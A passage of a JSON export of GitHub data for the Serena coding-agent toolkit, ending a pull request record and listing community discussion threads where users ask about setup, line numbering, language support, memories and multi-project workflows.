      "requested_reviewers": {},
      "requested_teams": {},
      "labels": {},
      "milestone": null,
      "draft": false,
      "head": {
        "label": "datstarkey:Add-Svelte-Ts-Proxy-Language-server",
        "ref": "Add-Svelte-Ts-Proxy-Language-server",
        "sha": "7be9f868d4a78bfd0280b3814d6442cdd6b31bfe",
        "user": {
          "login": "datstarkey",
          "id": 35140564,
          "node_id": "MDQ6VXNlcjM1MTQwNTY0",
          "avatar_url": "https://avatars.githubusercontent.com/u/35140564?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/datstarkey",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 1041242202,
          "node_id": "R_kgDOPhAYWg",
          "name": "serena",
          "full_name": "datstarkey/serena",
          "private": false,
          "owner": {
            "login": "datstarkey",
            "id": 35140564,
            "node_id": "MDQ6VXNlcjM1MTQwNTY0",
            "avatar_url": "https://avatars.githubusercontent.com/u/35140564?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/datstarkey",
            "type": "User",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & Agno integration)",
          "fork": true,
          "url": "https://api.github.com/repos/datstarkey/serena",
          "created_at": "2025-08-20T07:38:50Z",
          "updated_at": "2025-08-20T07:38:50Z",
          "pushed_at": "2025-08-20T08:27:03Z",
          "homepage": "",
          "size": 3722,
          "stargazers_count": 0,
          "watchers_count": 0,
          "language": null,
          "has_issues": false,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": false,
          "has_discussions": false,
          "forks_count": 0,
          "archived": false,
          "disabled": false,
          "open_issues_count": 0,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {},
          "visibility": "public",
          "forks": 0,
          "open_issues": 0,
          "watchers": 0,
          "default_branch": "main"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "1d766bea2afe3fcd7cc5083400b104c7bf3df8c7",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/504"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/504"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/504"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/504/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/504/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/504/commits"
        },
        "statuses": {
          "href": "https://api.github.com/repos/oraios/serena/statuses/7be9f868d4a78bfd0280b3814d6442cdd6b31bfe"
        }
      },
      "author_association": "NONE",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": []
    }
  ],
  "discussions": [
    {
      "id": "D_kwDOONgOes4AkC23",
      "number": 1008,
      "title": "How to deal with line numbers",
      "body": "Hello,\r\nI understand this is a problem many people have faced before, but I did not find a discussion about it.\r\nAs stated in the Serena documentation, line numbers start at 0. Nevertheless, other tools, like compilers, return line numbers starting at 1. In the same sense, humans reading an answer from an LLM will be expecting one-based line numbers.\r\nThus, my main question is how people are managing this issue. How can we guarantee that other tools can talk seamlessly with Serena?\r\nSorry if I am missing something.\r\nThanks for the help,",
      "created_at": "2026-02-09T09:02:32Z",
      "updated_at": "2026-02-11T12:03:34Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "cx-alberto-simoes",
        "avatar_url": "https://avatars.githubusercontent.com/u/104087721?u=a94da1a83a3d468cf6da191fd0e4b16a0d6827e0&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AkEFv",
      "number": 1015,
      "title": "How to deal with unsupported language projects",
      "body": "I am writing a generic tool, and we need to have serena working with projects of not supported programming languages. For instance, we have a project only with SQL files.\r\nCurrently, serena fails initialization because there is no supported language.\r\nIs there a way to force serena to accept a project even without any supported language?",
      "created_at": "2026-02-10T11:37:28Z",
      "updated_at": "2026-02-11T10:25:34Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "cx-alberto-simoes",
        "avatar_url": "https://avatars.githubusercontent.com/u/104087721?u=a94da1a83a3d468cf6da191fd0e4b16a0d6827e0&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AkAun",
      "number": 995,
      "title": "Does Serena support visual basic 6.0 code base?",
      "body": "I have legacy code base purely written in visual basic 6.0. Is there a possibility to use serena in a migration project from vb6 to any modern language?",
      "created_at": "2026-02-07T04:35:32Z",
      "updated_at": "2026-02-14T06:40:50Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": {
        "id": "DC_kwDOONgOes4A7_KQ",
        "body": "Visual basic is not supported yet. We have a memory explaining how to add support for a new language. Feel free to open a PR with visual basic support if you want to"
      },
      "user": {
        "login": "riyas50",
        "avatar_url": "https://avatars.githubusercontent.com/u/18095350?u=67c9fcb7d94a98273eab276a323758b57c7f1baf&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ajsiv",
      "number": 949,
      "title": "How to use Serena with Opencode and Jetbrains IDE plugin?",
      "body": "Hello, have activated plugin for JB IDE, so it shows the log like this:\r\n```\r\nINFO    Serena plugin (version 2023.2.7) is starting up ...\r\nINFO    Initializing Serena backend service for project: dotce\r\nINFO    Starting Serena backend service thread for project dotce ...\r\nINFO    Serena backend service will listen on port 24226\r\nINFO    Ready to accept requests from Serena\r\n```\r\n\r\nNow, what should I do in config of opencode and also in Serena config (I can't find it in ~/.serena, there is no folder)?\r\n\r\nI tried this config for opencode.json, but it did not work:\r\n```\r\n{\r\n  \"$schema\": \"https://opencode.ai/config.json\",\r\n  \"mcp\": {\r\n    \"serena\": {\r\n      \"type\": \"remote\",\r\n      \"url\": \"http://localhost:24226/mcp\",\r\n      \"enabled\": true\r\n    }\r\n  }\r\n}\r\n```",
      "created_at": "2026-01-17T19:29:04Z",
      "updated_at": "2026-02-04T03:50:20Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "kivan-mih",
        "avatar_url": "https://avatars.githubusercontent.com/u/4907744?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Aj3cn",
      "number": 973,
      "title": "Is there way to keep single LSP?",
      "body": "I am using serena with multiple 4 cc session on same project with m1 MBP(32gb) \r\n\r\nI worked on java and python mostly. \r\nI had been feeling laggy and I found that 4 java processes are running for LSP consuming memory almost 7gb (each consumes 1.4gb)\r\nIs there any way to keep only single LSP?\r\n",
      "created_at": "2026-01-29T00:39:37Z",
      "updated_at": "2026-01-29T05:54:19Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": {
        "id": "DC_kwDOONgOes4A7pXz",
        "body": "The best way would be to use the jetbrains extension, this requires no additional resources (apart from the ones used by the jetbrains IDE).\r\n\r\nYou can also use serena in the http streaming mode, then you will have a single serena server to which multiple clients can connect simultaneously"
      },
      "user": {
        "login": "rumbarum",
        "avatar_url": "https://avatars.githubusercontent.com/u/48576227?u=cb6a7c8d53f4f85fa8b9eb813a8d46367e8aed59&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AjhYB",
      "number": 903,
      "title": "JetBrains + Claude Code (Marketplace plugin)",
      "body": "Good day, I am very very lost.\r\n\r\nClaude.exe has Serena plugin\r\nPyCharm has Serena plugin\r\n\r\nIf I install Claude, PyCharm and both Serena plugins, I get two Serena things, and I am so lost about what goes where...\r\n\r\nI created config.yaml with `language_backend: JetBrains` but is it used? I don't know. Serena Web controls that open up from claude.exe show PyCharm disabled...\r\n\r\nSo I was thinking like Okay; I need Serena plugin for PyCharm to make Claude talk to PyCharm through Serena... Is that the correct thinking? \r\n\r\nI have then disabled serena plugin in claude, and while PyCharm launched the server and the server says things in http://localhost:24226/status - claude.exe can't do anything about it...\r\n\r\nWhat am I supposed to do to bring everything together?\r\n\r\nHelp appreciated <3",
      "created_at": "2026-01-05T19:28:22Z",
      "updated_at": "2026-01-24T06:20:31Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": {
        "id": "DC_kwDOONgOes4A60tM",
        "body": "Hi @Day0Dreamer , sorry you had a frustrating time with this. We had a typo in our docs, the path on windows should have been `%USERPROFILE%\\.serena\\serena_config.yml` instead of `%USERPROFILE%\\.serena\\config.yaml`. That's why your setting of the JetBrains backend there was not picked up.\r\n\r\nFixed in 72ce32a65a9165, where I also added a section on how to verify that the setup worked."
      },
      "user": {
        "login": "Day0Dreamer",
        "avatar_url": "https://avatars.githubusercontent.com/u/11721610?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ajrjd",
      "number": 943,
      "title": "Using Serena to explore externally defined symbols",
      "body": "Hi,\r\n\r\nI just started exploring Serena for some python projects and find the approach pretty interesting.\r\nFrom what I see I can only use it to view symbols that are defined within the project though and can't step outisde of it. \r\nBeing able to view external symbols would help the agent have up to date documentation as it knows exactly what's expected of the call in the current context rather than having to make an external documentation call and ensure to be referencing the correct version.\r\n\r\nAm I missing a configuration option or is this a feature that could simply be added later on?\r\n\r\nCheers,",
      "created_at": "2026-01-16T13:52:18Z",
      "updated_at": "2026-01-16T14:08:16Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "VerdantForge",
        "avatar_url": "https://avatars.githubusercontent.com/u/123564396?u=f1fc6d63266499cbf3f95d206fb116e49540a915&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AjozD",
      "number": 939,
      "title": "Dockerized Serena dashboard not working",
      "body": "I have Serena dockerized. It starts, the logs seems ok. I exposed both port for MCP and Dashboard. MCP seems to answer correctly, but dashboard returns an empty answer.\r\n\r\nIn the logs I got\r\n\r\n```\r\nINFO  2026-01-14 09:39:13,791 [MainThread] serena.dashboard:run_in_thread:622 - Starting dashboard (listen_address=127.0.0.1, port=24282)\r\nINFO  2026-01-14 09:39:13,791 [MainThread] serena.agent:__init__:311 - Serena web dashboard started at http://127.0.0.1:24282/dashboard/index.html\r\nWARNING 2026-01-14 09:39:13,792 [MainThread] serena.agent:open_dashboard:421 - Not opening the Serena web dashboard because no usable display was detected.\r\n```\r\n\r\nThe warning is valid, as there isn't the possibility to open the browser from within the docker image. I am just wondering if, in that case, we disable the dashboard completely...?\r\n\r\nWill try to look into the code, but in case someone already hit in a similar issue and knows the answer... :-)",
      "created_at": "2026-01-14T09:48:41Z",
      "updated_at": "2026-01-14T10:46:06Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "cx-alberto-simoes",
        "avatar_url": "https://avatars.githubusercontent.com/u/104087721?u=a94da1a83a3d468cf6da191fd0e4b16a0d6827e0&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ajl_o",
      "number": 918,
      "title": "How to specify context as 'claude-code' for the Serena plugin?",
      "body": "I'm trying out the plugin instead of the MCP, but I don't see any way to specify it to use 'claude-code' as the context, it appears to be using 'desktop-app' according to the web UI. Maybe I'm blind, but I don't see an option in the global serena configuration file, and from what I saw, the docs mention using a launch flag to specify context -- but I'm not sure if that's applicable when using the plugin.",
      "created_at": "2026-01-11T04:26:00Z",
      "updated_at": "2026-01-12T05:39:28Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "nullbio",
        "avatar_url": "https://avatars.githubusercontent.com/u/721274?u=afde9ff1eb270338ced60c99e02cddc2a99e42cd&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AjeDK",
      "number": 891,
      "title": "streamable http or stdio for multiple worktrees?",
      "body": "The documentation isn't entirely clear to me about whether or not I'm supposed to use stdio or streamable http when using multiple worktrees.\r\n\r\nI have many worktrees going at once with multiple claude sessions, and the codebases evolve locally until they're merged centrally. I was trying to use a single project folder (c:\\blah\\serena) for this overarching python project, but it's unclear what I'm actually _supposed_ to do.\r\n\r\nI tried streamable http but that seems like the wrong approach, because the MCP server then tried to look for content relative to the location where the streamable http server ran, and not in the local worktree folder:\r\n\r\n```\r\nERROR 2025-12-31 16:44:53,538 [Task-5:FindSymbolTool] serena.tools.tools_base:task:274 - Error executing tool: File or directory not found: D:\\Documents\\rf2-ai\\serena\\director/battledirector/trees/subject_selection\r\nTraceback (most recent call last):\r\n  File \"C:\\Users\\erikm\\AppData\\Local\\uv\\cache\\archive-v0\\4PSBM1RIXwN-qDMtEfMwt\\Lib\\site-packages\\serena\\tools\\tools_base.py\", line 249, in task\r\n    result = apply_fn(**kwargs)\r\n  File \"C:\\Users\\erikm\\AppData\\Local\\uv\\cache\\archive-v0\\4PSBM1RIXwN-qDMtEfMwt\\Lib\\site-packages\\serena\\tools\\symbol_tools.py\", line 140, in apply\r\n    symbols = symbol_retriever.find(\r\n        name_path_pattern,\r\n    ...<3 lines>...\r\n        within_relative_path=relative_path,\r\n    )\r\n  File \"C:\\Users\\erikm\\AppData\\Local\\uv\\cache\\archive-v0\\4PSBM1RIXwN-qDMtEfMwt\\Lib\\site-packages\\serena\\symbol.py\", line 519, in find\r\n    symbol_roots = lang_server.request_full_symbol_tree(within_relative_path=within_relative_path)\r\n  File \"C:\\Users\\erikm\\AppData\\Local\\uv\\cache\\archive-v0\\4PSBM1RIXwN-qDMtEfMwt\\Lib\\site-packages\\solidlsp\\ls.py\", line 1122, in request_full_symbol_tree\r\n    raise FileNotFoundError(f\"File or directory not found: {within_abs_path}\")\r\nFileNotFoundError: File or directory not found: D:\\Documents\\rf2-ai\\serena\\director/battledirector/trees/subject_selection\r\n```",
      "created_at": "2025-12-31T21:49:12Z",
      "updated_at": "2026-01-09T19:42:02Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "thoraxe",
        "avatar_url": "https://avatars.githubusercontent.com/u/94413?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AiyFw",
      "number": 728,
      "title": "When do you clean up Serena memories?",
      "body": "How many Serena memories is too many, when you should start thinking about either deleting them and re-initiating Serena on the project as if from ground zero, on an already eveolved project? What is your experience? \r\n\r\nIs there reason, instead of wiping them out, compacting them into a single unified memory, e.g. telling Claude to compact them into one? And would there even be benefit from? \r\n\r\nI`d like to discuss what are user experiences in how they deal with Serena memories accumulating as the project evolves. \r\n\r\nP.S. I know similar questions have already been raised, but couldn`t find how people manage this from their experience",
      "created_at": "2025-11-07T20:03:50Z",
      "updated_at": "2026-01-09T17:09:06Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "tony-zhelonkin",
        "avatar_url": "https://avatars.githubusercontent.com/u/68032701?u=a68d8f88091d72af94a201d99f56c645a17e204b&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ai3WU",
      "number": 758,
      "title": "What is the recommended practice of working with mutiple projects simultaneously?",
      "body": "I typically manage multiple Claude Code sessions across multiple work trees of multiple Git repos. I added the Serena MCP client to the user-level Claude Code config and ended up facing the limitation that one Serena MCP server can have at most one \"active project\" at a time.\r\n\r\nWhat is the recommended Serena setup for my use case? Is it the only way to run one Serena MCP server process per working tree, or is there an alternative approach?",
      "created_at": "2025-11-14T05:02:55Z",
      "updated_at": "2026-01-09T17:02:25Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "zzJinux",
        "avatar_url": "https://avatars.githubusercontent.com/u/6695226?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AjSbf",
      "number": 841,
      "title": "Add tool: Completion, InlayHints, Hover from LSP API",
      "body": "Thank you very much for creating and maintaining serena.\r\nI use it extensively for both personal and work-related projects and really appreciate the effort behind it.\r\nI would like to share an idea for a potential improvement related to code implementation tasks.\r\nThis is a relatively large idea, so I understand it may not be something to implement immediately.\r\n\r\n---\r\n\r\n## Background\r\n\r\nCurrently, serena makes very good use of LSP-based tools for code investigation, such as:\r\n\r\n- `find_symbol`\r\n- `find_referencing_symbols`\r\n- `get_symbols_overview`\r\n\r\nThese tools help reduce token usage while still allowing the model to understand the code structure.\r\nHowever, when looking at how actual code modifications are performed, I often observe that\r\nLSP-aware editing tools like:\r\n\r\n- `insert_after_symbol`\r\n- `insert_before_symbol`\r\n- `insert_at_line`\r\n- `replace_symbol_body`\r\n\r\nare not used very often. Instead, `replace_regex` is frequently used multiple times in a rather coarse way to modify code.\r\n\r\n---\r\n\r\n## Motivation\r\nWhen human engineers write code, they usually rely heavily on IDE/LSP features such as:\r\nCode completion\r\nType and parameter hints (InlayHints)\r\nSymbol information (Hover)\r\nThese features strongly influence how code is written and help prevent mistakes.\r\nIn the current LLM + serena setup, these \"code-writing assistance\" capabilities are not exposed as tools.\r\nAs a result, the LLM sometimes behaves like a clever beginner engineer who keeps rewriting code\r\nuntil it works, rather than using structured, context-aware assistance.\r\n\r\n---\r\n\r\n## Proposal\r\nI would like to propose exposing the following LSP APIs as serena tools:\r\n\r\n- `Completion`\r\n- `InlayHints`\r\n- `Hover`\r\n\r\nAdditionally, providing templates or prompts that actively encourage the use of these tools could help\r\nthe LLM generate code in a more human-like, IDE-assisted way.\r\nI believe this could reduce over-reliance on `replace_regex` and lead to more precise and maintainable code edits.\r\n\r\n---\r\n\r\nI would be very interested to hear your thoughts on this idea.\r\n",
      "created_at": "2025-12-15T23:59:33Z",
      "updated_at": "2026-01-09T16:40:31Z",
      "category": {
        "name": "Ideas",
        "emoji": ":bulb:"
      },
      "answer": null,
      "user": {
        "login": "YuMuuu",
        "avatar_url": "https://avatars.githubusercontent.com/u/26830741?u=c697fd7029679534c5f3121407f5b10d50509bdd&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ajh_1",
      "number": 907,
      "title": "Specifying paths in --context and --mode",
      "body": "Accordingly with the docs, it seems that we can specify a context yaml file and a mode yaml file in the command line tool, something like: `uvx --from git+https://github.com/oraios/serena serena start-mcp-server [...] --mode ./serena-config/modes/sast-analysis.yml --context ./serena-config/contexts/sast-triage.yml`\r\n\r\nAs far as I can tell, serena is loading the files, as it complains if the file does not exist. Nevertheless, with the correct paths, the background task _get_config_overview fails, not finding the sast-triage context (and it is not listed in the available contexts). \r\n\r\nAm I missing something? \r\n\r\nThank you",
      "created_at": "2026-01-06T13:37:32Z",
      "updated_at": "2026-01-06T13:37:32Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "cx-alberto-simoes",
        "avatar_url": "https://avatars.githubusercontent.com/u/104087721?u=a94da1a83a3d468cf6da191fd0e4b16a0d6827e0&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AjaGG",
      "number": 877,
      "title": "I dont understand how to activate a project",
      "body": "```\r\nactivation makes Serena aware of the project you want to work with. You can either choose to do this\r\n\r\n    while in a conversation, by telling the model to activate a project, e.g.,\r\n\r\n        “Activate the project /path/to/my_project” (for first-time activation with auto-creation)\r\n\r\n        “Activate the project my_project”\r\n\r\n    Note that this option requires the activate_project tool to be active, which it isn’t in the (default version) of context ide-assistant if a project is provided at startup. (The tool is deactivated because we assume that in the ide-assistant context the user will only work on the open project and have no need to switch it.)\r\n\r\n    when the MCP server starts, by passing the project path or name as a command-line argument (e.g. when working on a fixed project in ide-assistant mode): --project <path|name>\r\n\r\n```\r\n\r\nwhat? what is the actual command to activate a project? and what do you mean \"when in a conversation\"? do you mean when i'm in a claude code conversation?",
      "created_at": "2025-12-25T16:02:35Z",
      "updated_at": "2026-02-12T19:38:07Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": {
        "id": "DC_kwDOONgOes4A6hmh",
        "body": "Yes, as the documentation states, you activate a project either by \r\n  * telling your LLM (e.g. Claude) to activate the project in the conversation (as a prompt) OR\r\n  * providing the project to be activated directly at MCP server startup (which is what our instructions for Claude Code tell you to do, because Claude Code is a project-based tool where this makes sense - unlike Claude Desktop, for example).\r\n  \r\nWhich part of the instructions was unclear?"
      },
      "user": {
        "login": "sglindme",
        "avatar_url": "https://avatars.githubusercontent.com/u/37669850?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AjYOo",
      "number": 869,
      "title": "Case Study: Using Serena as the \"Semantic Eye\" for a Malleable Software Runtime (NeuroNote)",
      "body": "Hi everyone @ (and **thanks to the @oraios team for this tool**),\r\n\r\nI wanted to share a specific architectural implementation where _Serena_ has solved a critical problem in _Runtime Malleability_.\r\n\r\nI am building _NeuroNote_, a system designed for malleable software where the application can rewrite its own structure and UI at runtime. The system uses a Dual-Kernel design:\r\n1. **The Guest Kernel (AI):** Proposes logic and UI as serialized data (JSON graphs).\r\n2. **The Host Kernel (Runtime):** Validates and executes that logic.\r\n\r\n**The Problem:** The \"Blind Engineer\" Initially, I treated the AI Guest as a \"hostile actor\" because it frequently hallucinated components or invented symbols that didn't exist in the runtime registry. This led to high rejection rates at my validation gates (what I call the \"Trust Assurance Pipeline\"). The AI had high semantic comprehension but low execution competence because it was coding blindly.\r\n\r\n**The Solution:** _Serena_ as the Instrument Panel I pivoted to a \"Cyborg Model\" where the AI is treated as a blind architect who needs a better map. I integrated _Serena_ to expose the _Language Server Protocol (LSP)_ to the Guest AI via MCP.\r\n\r\n_This changed the workflow:_\r\n1. **Symbolic Grounding:** Instead of guessing primitives, the Guest uses _Serena's `_ find_symbol` and `get_symbols_overview` to read the actual Component Registry.\r\n2. **Pre-Validation:** The Guest now drafts proposals that are structurally valid by definition because it \"sees\" the available tools and types via Serena's semantic map.\r\n\r\n**The Takeaway:** The architectural distinction I’ve found—and why _Serena_ is critical to this stack—is this:\r\n\"_Serena_ ensures the map is accurate; the Host ensures the journey is safe.\"\r\n_Serena_ handles the Competence (context, symbols, syntax) in the Guest plane, allowing my Host runtime to focus purely on Trust (security, resource metering, and behavioral honesty).\r\nIf you are building autonomous systems that need to modify their own code or state, I highly recommend using _Serena_ not just for \"writing code,\" but for giving your agent symbolic grounding in your runtime environment.\r\nThanks for building this!",
      "created_at": "2025-12-23T01:26:20Z",
      "updated_at": "2025-12-23T01:26:20Z",
      "category": {
        "name": "Show and tell",
        "emoji": ":raised_hands:"
      },
      "answer": null,
      "user": {
        "login": "rubyrayjuntos",
        "avatar_url": "https://avatars.githubusercontent.com/u/204968804?u=6f0aebb109a91eb415d51a56f6061c66cee8539a&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AjSuh",
      "number": 843,
      "title": "Why does Serena expose `create_text_file` instead of using `echo`?",
      "body": "Hi, I'm reading the source code\r\n\r\n`create_text_file` has only parameters `relative_path` and `content`. It seems that this function can be achieved using the echo command.\r\n\r\nThanks you!",
      "created_at": "2025-12-16T09:01:22Z",
      "updated_at": "2025-12-16T10:26:48Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "Linde7777",
        "avatar_url": "https://avatars.githubusercontent.com/u/69742577?u=01e38a4068e90a262d86a05aeb81eaf6b0427669&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AjSwA",
      "number": 844,
      "title": "Why using `str` type for path, instead of `Path`?",
      "body": "Hi, in `symbol_tools.py`, I see the `relative_path` are all in `str` type, it seems that it will be more robust if using `Path` type? \r\nAI told me using `str` type will be more convinent in MCP development, is that true?\r\nThank you!",
      "created_at": "2025-12-16T09:30:25Z",
      "updated_at": "2025-12-16T10:27:02Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "Linde7777",
        "avatar_url": "https://avatars.githubusercontent.com/u/69742577?u=01e38a4068e90a262d86a05aeb81eaf6b0427669&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AjFdr",
      "number": 801,
      "title": "Is there a way to enable IDE like editing without memories etc..",
      "body": "Serena comes with at least 2 distinct functionalities: IDE like navigation/editing & memories.\r\n\r\nIf I don't want to use Serena's memories their related instructions still get loaded into the context. The question is can we enable just the IDE like editing/navigation **without** Serena memories (example if I am using my own simpler and more visible system for memory management). ",
      "created_at": "2025-12-01T20:53:14Z",
      "updated_at": "2025-12-09T09:51:23Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "nickolay-kondratyev",
        "avatar_url": "https://avatars.githubusercontent.com/u/4050134?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Ait1N",
      "number": 721,
      "title": "XDG directories and configurable serena directory",
      "body": "Hi 👋🏼 \r\n\r\nFirst, thanks for Serena, what a great MCP 🙏🏼 \r\n\r\nSerena doesn't seem to respect [XDG base directories](https://specifications.freedesktop.org/basedir/latest/) (`$XDG_CONFIG_DIR/serena` > `~/.config/serena`) on Linux or Mac (more and more CLI apps are also following XDG specifications on Mac too).\r\nIt clutters the home directory, making it harder to locate and back up configuration, or to simply not store it into the home directory...\r\n\r\nAlso, it doesn't allow you to manually change this directory (or at least I haven't found it in the README), which would have permitted working around that, but it also allows you to have multiple isolated setups for different reasons (the most common being perso/pro isolation or by company isolation).\r\n\r\nSo:\r\n- Did I miss something in the documentation allowing me to change the `~/.serena` for another directory?\r\n- Would you accept a pull request adding support for both XDG and configurable config dir?\r\n\r\n> [!NOTE]\r\n> XDG is not only for config but also cache (`$XDG_CACHE_DIR/serena` > `~/.cache/serena`) and maybe some other user directories, but I did not yet looked at it for others",
      "created_at": "2025-11-03T12:20:53Z",
      "updated_at": "2025-12-07T13:44:47Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "noirbizarre",
        "avatar_url": "https://avatars.githubusercontent.com/u/15725?u=24aa7a44ae7c957043e6a39675c3546d2f925a46&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AjI0B",
      "number": 811,
      "title": "Serena permissions in Claude Code plan mode",
      "body": "Whenever I am in Plan Mode, I have to explicitly give permissions for each serena tool. This got on my nerves, so I asked Claude why he is doing that, although I allowed all serena tool use already. This was his anser:\r\n\r\n_\r\nThinking…\r\n\r\n  The user is frustrated because I'm being asked to confirm tool usage even though they said they've granted permissions. Looking at the allowed tools list, I see \r\n  mcp__serena__* is in the auto-approved list. But the tools were rejected.\r\n\r\n  Wait - I'm in \"plan mode\" which says I can only take READ-ONLY actions. The Serena tools might be being blocked because the system thinks they're not read-only, even though get_symbols_overview and find_symbol are clearly read-only operations.\r\n\r\n  Let me try using the Read tool directly instead, which should work in plan mode.\r\n  _",
      "created_at": "2025-12-05T09:13:47Z",
      "updated_at": "2025-12-05T09:17:04Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "wkundrus",
        "avatar_url": "https://avatars.githubusercontent.com/u/4481261?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AjGzS",
      "number": 804,
      "title": "Serena memory and Claude.md context files",
      "body": "I have a few context files in .claude in my project, that I maintain carefully to teach Claude specifics of our code base. I wonder how this conflicts with Serena. Serena has build memory files, but they are maybe 10% of the Claude context files. Here are a few questions:\r\n- Can serena use the claude context files ? \r\n- Can I link the directory ? \r\n- Should I tell serena not to use memory ?\r\n- Should I instruct Claude not to use serena memory?\r\n\r\nThanks for the otherwise brilliant tool :-) ",
      "created_at": "2025-12-03T08:56:15Z",
      "updated_at": "2025-12-03T22:35:25Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
